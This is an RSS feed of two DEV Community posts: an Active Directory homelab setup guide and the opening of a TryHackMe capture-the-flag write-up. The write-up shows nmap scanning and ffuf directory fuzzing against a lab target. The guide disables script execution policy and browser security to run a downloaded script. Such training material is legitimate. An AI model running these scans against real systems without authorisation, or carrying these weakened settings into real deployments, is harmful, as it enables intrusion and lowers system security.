<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dylan Nguyen</title>
    <description>The latest articles on DEV Community by Dylan Nguyen (@dmnuggins).</description>
    <link>https://dev.to/dmnuggins</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1174635%2Fc1017fbb-9be6-4fa7-9ad7-2034d265a0a9.jpeg</url>
      <title>DEV Community: Dylan Nguyen</title>
      <link>https://dev.to/dmnuggins</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/dmnuggins"/>
    <language>en</language>
    <item>
      <title>Active Directory Homelab</title>
      <dc:creator>Dylan Nguyen</dc:creator>
      <pubDate>Wed, 22 Nov 2023 00:45:57 +0000</pubDate>
      <link>https://dev.to/dmnuggins/active-directory-homelab-3bc9</link>
      <guid>https://dev.to/dmnuggins/active-directory-homelab-3bc9</guid>
      <description>&lt;h2&gt;
  
  
  Active Directory HomeLab
&lt;/h2&gt;

&lt;p&gt;This project is a walkthrough of how I created an Active Directory homelab environment in VirtualBox using PowerShell, Active Directory, Windows 11, and MS Server 2019. The network consists of two VM's (virtual machines) where one will be the DC (domain controller) and the other is a client machine. I will have Active Directory (AD) installed on the DC and will generate 1000 randomized users in AD, which can be used to log into the client machine once the domain is set up and the client is properly added. This lab is a simulation of an enterprise network environment, so there will be some configurations that optimize for time and should not be included in a production-enterprise environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Downloads
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virtualbox.org/wiki/Downloads" rel="noopener noreferrer"&gt;VirtualBox Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.microsoft.com/en-us/evalcenter/download-windows-server-2019" rel="noopener noreferrer"&gt;Microsoft Server 2019 ISO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.microsoft.com/en-us/software-download/windows11" rel="noopener noreferrer"&gt;Windows 11 ISO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Network Diagram
&lt;/h3&gt;

&lt;p&gt;I will reference this diagram for the project configurations&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0sd2tbs24w3kxasbbonw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0sd2tbs24w3kxasbbonw.png" alt="network-diagram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating the domain controller
&lt;/h3&gt;

&lt;p&gt;The first virtual machine will function as our domain controller and will require two network adapters. After creating our machine, using the Server 2019 ISO, we will configure the network adapters. In the VM's Settings &amp;gt; Network page, leave Adapter 1 with the default NAT configuration. Enable Adapter 2 and set Attached to: Internal Network.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsexsc99athq9oh059bb2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsexsc99athq9oh059bb2.png" alt="DC-settings-adapter-1"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbft9q1mrokl8trny7dou.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbft9q1mrokl8trny7dou.png" alt="DC-settings-adapter-2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After completing the network adapter configuration, we will need to complete the initial setup of Windows Server 2019 on our DC.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm4cywgz481s2z2o0xr6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm4cywgz481s2z2o0xr6.png" alt="DC-installation-media"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd8kehset9uwd0x2vdwis.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd8kehset9uwd0x2vdwis.png" alt="DC-installation-start"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After initial setup is completed, we need to configure the network adapters in OS. We can identify which one is going to be the internal adapter by checking the IPv4 addresses their respective connection details.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F00tbxabnsp05zjk5sopd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F00tbxabnsp05zjk5sopd.png" alt="Windows-server-install-screen"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The one with &lt;code&gt;10.0.2.15&lt;/code&gt; IPv4 is our internet facing adapter, whereas the other is our internal one since the IPv4 is autoconfigured, so we can now label them as &lt;em&gt;INTERNET&lt;/em&gt; and X_Internal_X respectively.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fc2a4a3e4-9638-4909-b9a7-2a47787e6086" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fc2a4a3e4-9638-4909-b9a7-2a47787e6086" alt="adapter-settings"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Renaming them will be easier for the configuration we'll be doing throughout the project.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setting up IP addressing
&lt;/h3&gt;

&lt;p&gt;Now we will be setting up the IP addressing for our internal adapter with the following configuration:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP address: &lt;code&gt;172.16.0.1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Subnet mask: &lt;code&gt;255.255.255.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Default gateway:  &lt;code&gt;. . .&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Preferred DNS server: &lt;code&gt;127.0.0.1&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu44nmjjool2j4zreinyz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu44nmjjool2j4zreinyz.png" alt="Internal-properties"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note: When we install AD, we will configure the DC to use itself as the primary DNS server, so that's why we have a loopback IP, &lt;code&gt;127.0.0.1&lt;/code&gt; in the Preferred DNS Server field.&lt;/p&gt;

&lt;p&gt;Last thing is to rename the PC to &lt;code&gt;DC&lt;/code&gt; and restart before we install our Active Directory Domain Services.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrsuwt5drjjhm379if1y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrsuwt5drjjhm379if1y.png" alt="Rename-pc"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Install Active Directory Domain Services
&lt;/h3&gt;

&lt;p&gt;After booting back into the DC, I install Active Directory Domain Services:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/082ac489-242e-4b72-b908-5e54bae02b4f" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/082ac489-242e-4b72-b908-5e54bae02b4f&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Promote the server to domain controller
&lt;/h3&gt;

&lt;p&gt;Now to promote our server to a domain controller. This will auto restart the VM after the wizard completes the promotion.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/c446b041-bfa6-4a16-a55f-343f4f7f574d" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/c446b041-bfa6-4a16-a55f-343f4f7f574d&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upon next login, we see that our VM is now part of MYDOMAIN.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fad786f2f-8a2e-411c-a62d-2c41a098476c" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fad786f2f-8a2e-411c-a62d-2c41a098476c" alt="Screenshot 2023-11-21 150253"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Instead of the default Administrator account, I create my own domain admin account and promote it to Domain Admins.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/4d9df50a-8ba2-42f8-afb3-2a14ffe2bf90" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/4d9df50a-8ba2-42f8-afb3-2a14ffe2bf90&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  RAS / NAT
&lt;/h3&gt;

&lt;p&gt;Now to configure RAS/NAT to allow our client VM that is on the virtual private network to access the internet through the domain controller.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/88d1f4da-40c4-4d80-aead-edcdf1a5d037" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/88d1f4da-40c4-4d80-aead-edcdf1a5d037&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup DHCP server
&lt;/h3&gt;

&lt;p&gt;Doing this will allow our Windows 11 client to be auto assigned an IP address and allow our client to browse the internet, even though the VM is on a virtual private network.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/457afa12-5791-48ec-bbeb-18927daaaa74" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/457afa12-5791-48ec-bbeb-18927daaaa74&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After installation, it's time to configure the DHCP and setup a scope. Again, the purpose of DHCP is to allow clients on the network to automatically be assigned an IP address. Referencing our network diagram, I will create a scope that will give IP addresses in a range of &lt;code&gt;172.16.0.100-200&lt;/code&gt;, so a range of 100 addresses that the DHCP server can give out. The DHCP lease time will be kept at the default 8 days. If this were a cafe, for example, I would want to probably use a lease period of 2hrs, since new clients will be logging into our wifi network frequently. We don't want to lock out IP address with a long lease time like 20 days. If we did that, we'll run out of IP's if the new client connection volume exceeds our IP cycle rate set by the DHCP lease time. This effectively prevents new clients from connecting to the internet through our network, since new IP's cannot be assigned. A better solution for the cafe situation would be to have a large IP range with short DHCP lease time. However, we are working with a homelab setup, so the default values will work fine for this situation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/00275584-d3db-490d-bd82-3df7d0e7ff2e" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/00275584-d3db-490d-bd82-3df7d0e7ff2e&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Config to allow us to browse internet from domain controller
&lt;/h3&gt;

&lt;p&gt;In order to get the powershell script from the internet and execute it on our domain controller, we'll need to do some more confiruation. We need to disable the IE Enhanced Security Config setting in our domain controller.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/f3b11a94-b2a4-4d58-a472-14478c12fccb" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/f3b11a94-b2a4-4d58-a472-14478c12fccb&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the IE security feature disabled, we can download the script to the server &lt;a href="https://github.com/joshmadakor1/AD_PS/archive/master.zip" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Powershell script to create 1000 users
&lt;/h3&gt;

&lt;p&gt;Once we've downloaded and extracted the script files, we're ready to run it using PowerShell ISE in administrator mode to create our users. Before running the script though, open the text file, we'll add our first and last name to the &lt;code&gt;names.txt&lt;/code&gt; file, just to make it easy to remember for when we log into the client computer after we're done with our server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F22d7b7bb-0eaa-4ed0-9f15-724074d33d2c" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F22d7b7bb-0eaa-4ed0-9f15-724074d33d2c" alt="PowerShell-ISE"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By default Windows won't allow us to execute unknown scripts from the internet, so we need to enable execution of our script by running the following command: &lt;code&gt;Set-ExecutionPolicy Unrestricted&lt;/code&gt; and then click "Yes to All".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F0256a33c-bf07-4c2c-8377-b74a0668abe8" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F0256a33c-bf07-4c2c-8377-b74a0668abe8" alt="Screenshot 2023-11-21 161052"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, we run the script. There will be some visible errors during execution, but that's because of duplicates in the names.txt file, which shouldn't mess with the script's execution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/704967d1-2018-4636-9c76-121bf38d4908" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/704967d1-2018-4636-9c76-121bf38d4908&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Confirming our users have been created in AD:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/0efe3457-81bf-40a1-9260-87733b9c8cf2" rel="noopener noreferrer"&gt;https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/0efe3457-81bf-40a1-9260-87733b9c8cf2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we're done with our domain controller setup.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup client virtual machine
&lt;/h3&gt;

&lt;p&gt;Finally we can create our client machine, which will act as a user in our domain we created. We will call our machine &lt;code&gt;CLIENT1&lt;/code&gt;. This will simulate an employee machine on our domain.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fb10b92f4-d992-4d24-8682-3830a1fa3ea0" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fb10b92f4-d992-4d24-8682-3830a1fa3ea0" alt="Screenshot 2023-11-20 195901"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We'll set our network adapter to the internal network we configured when initally setting up our domain controller:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F34999bb5-98d2-41e4-8cc9-b5927cd5506f" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F34999bb5-98d2-41e4-8cc9-b5927cd5506f" alt="Screenshot 2023-11-20 195956"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On initial setup, we can name our computer &lt;code&gt;CLIENT&lt;/code&gt;, so when we get to the desktop, all we need to do is add our computer to our domain and authenticate the change with our domain admin credentials&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F587e9b3e-67bd-4ed0-9dd7-64622b936529" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F587e9b3e-67bd-4ed0-9dd7-64622b936529" alt="Screenshot 2023-11-20 203350"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F9e510d4b-eaac-41cd-ad87-0e243511e50d" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F9e510d4b-eaac-41cd-ad87-0e243511e50d" alt="Screenshot 2023-11-20 203541"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's logout and log in as our generate user &lt;code&gt;dnguyen&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F79581328-de8a-4f9d-9b37-d50958ea7d4e" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F79581328-de8a-4f9d-9b37-d50958ea7d4e" alt="Screenshot 2023-11-20 203915"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a successful login, let's run &lt;code&gt;whoami&lt;/code&gt; to confirm my domain\user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F013a4f03-b357-4281-ab10-4797ede5e5f0" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F013a4f03-b357-4281-ab10-4797ede5e5f0" alt="Screenshot 2023-11-20 204123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's ping google.com to confirm we have access to the internet and for good measure, we can ping our domain: &lt;code&gt;mydomain.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F0c1e7816-7ad7-49c2-89f1-2b3006f2b927" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F0c1e7816-7ad7-49c2-89f1-2b3006f2b927" alt="Screenshot 2023-11-20 203237"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Back on our DC, we can take a look in our DHCP &amp;gt; dc.mydomai.com &amp;gt; IPv4 &amp;gt; Address Leases to see our client machine listed with its unique IP in our defined scope.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fbd277c67-4509-45e6-b81b-5fe80f6dbc52" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2Fbd277c67-4509-45e6-b81b-5fe80f6dbc52" alt="Screenshot 2023-11-20 203707"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can also confirm in Active Directory &amp;gt; mydomain.com &amp;gt; Computers that our client is listed there as well.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F54047cf8-36bd-4c2e-a44e-df4e7d1d0c7e" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fdmnuggins%2FActive-Directory-HomeLab%2Fassets%2F7257923%2F54047cf8-36bd-4c2e-a44e-df4e7d1d0c7e" alt="Screenshot 2023-11-20 203803"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And success, that is the end of the lab! 🙌&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Returning to the roots</title>
      <dc:creator>Dylan Nguyen</dc:creator>
      <pubDate>Mon, 20 Nov 2023 06:40:28 +0000</pubDate>
      <link>https://dev.to/dmnuggins/returning-to-the-roots-basic-pentesting-3pdg</link>
      <guid>https://dev.to/dmnuggins/returning-to-the-roots-basic-pentesting-3pdg</guid>
      <description>&lt;h2&gt;
  
  
  Basic Pentesting
&lt;/h2&gt;

&lt;p&gt;It has been a minute since my first CTF, &lt;a href="https://github.com/dmnuggins/CTF-Writeups/tree/main/Mr-Robot"&gt;Mr Robot&lt;/a&gt;, so I wanted to ease back into it with TryHackMe's &lt;a href="https://tryhackme.com/room/basicpentestingjt"&gt;Basic Pentesting CTF&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The goal of this VM is to remotely attack the VM and gain elevated privileges and we will track our progress by answering the questions from TryHackMe.&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuration
&lt;/h2&gt;

&lt;p&gt;I'll be using a &lt;a href="https://www.kali.org/"&gt;Kali Linux VM&lt;/a&gt; attack the VM in this CTF through the &lt;a href="https://tryhackme.com/room/openvpn"&gt;OpenVPN&lt;/a&gt; connection configured to connect our Kali machine to TryHackMe.&lt;/p&gt;

&lt;p&gt;Let's start hacking!&lt;/p&gt;




&lt;p&gt;After configuring our connection and deploying our machine, well need to...&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Find the services exposed by the machine&lt;/strong&gt;: This is the initial reconnaissance to see what we can get started with. Using &lt;code&gt;nmap&lt;/code&gt;, we'll check for any open ports or services. Let's run the following command: &lt;code&gt;nmap &amp;lt;MACHINE IP&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---h7j5Ih9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j18lzkh165vpguk4k6e1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---h7j5Ih9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j18lzkh165vpguk4k6e1.png" alt="nmap" width="525" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like there are a number of services running, but the ones we should keep an eye out for are &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;http&lt;/code&gt;, &lt;code&gt;netbios-ssn&lt;/code&gt;, and &lt;code&gt;microsoft-ds&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the name of the hidden directory on the web server(enter name without /)?&lt;/strong&gt; There are a few tools we can use to find the hidden directory (gobuster, ffuf, dirb). In this box, I decided to use &lt;a href="https://www.kali.org/tools/ffuf/"&gt;ffuf&lt;/a&gt; and run the following command: &lt;code&gt;ffuf -w /usr/share/wordlists/dirb/common.txt -u http://&amp;lt;MACHINE IP&amp;gt;/FUZZ -c&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;There are a plethora of wordlists, but I am using &lt;code&gt;common.txt&lt;/code&gt; because it contains names of common URL directories/paths and fits our needs at the moment. Note, that regardless of the tool, using the right wordlist is key to a quick enumeration.&lt;/p&gt;

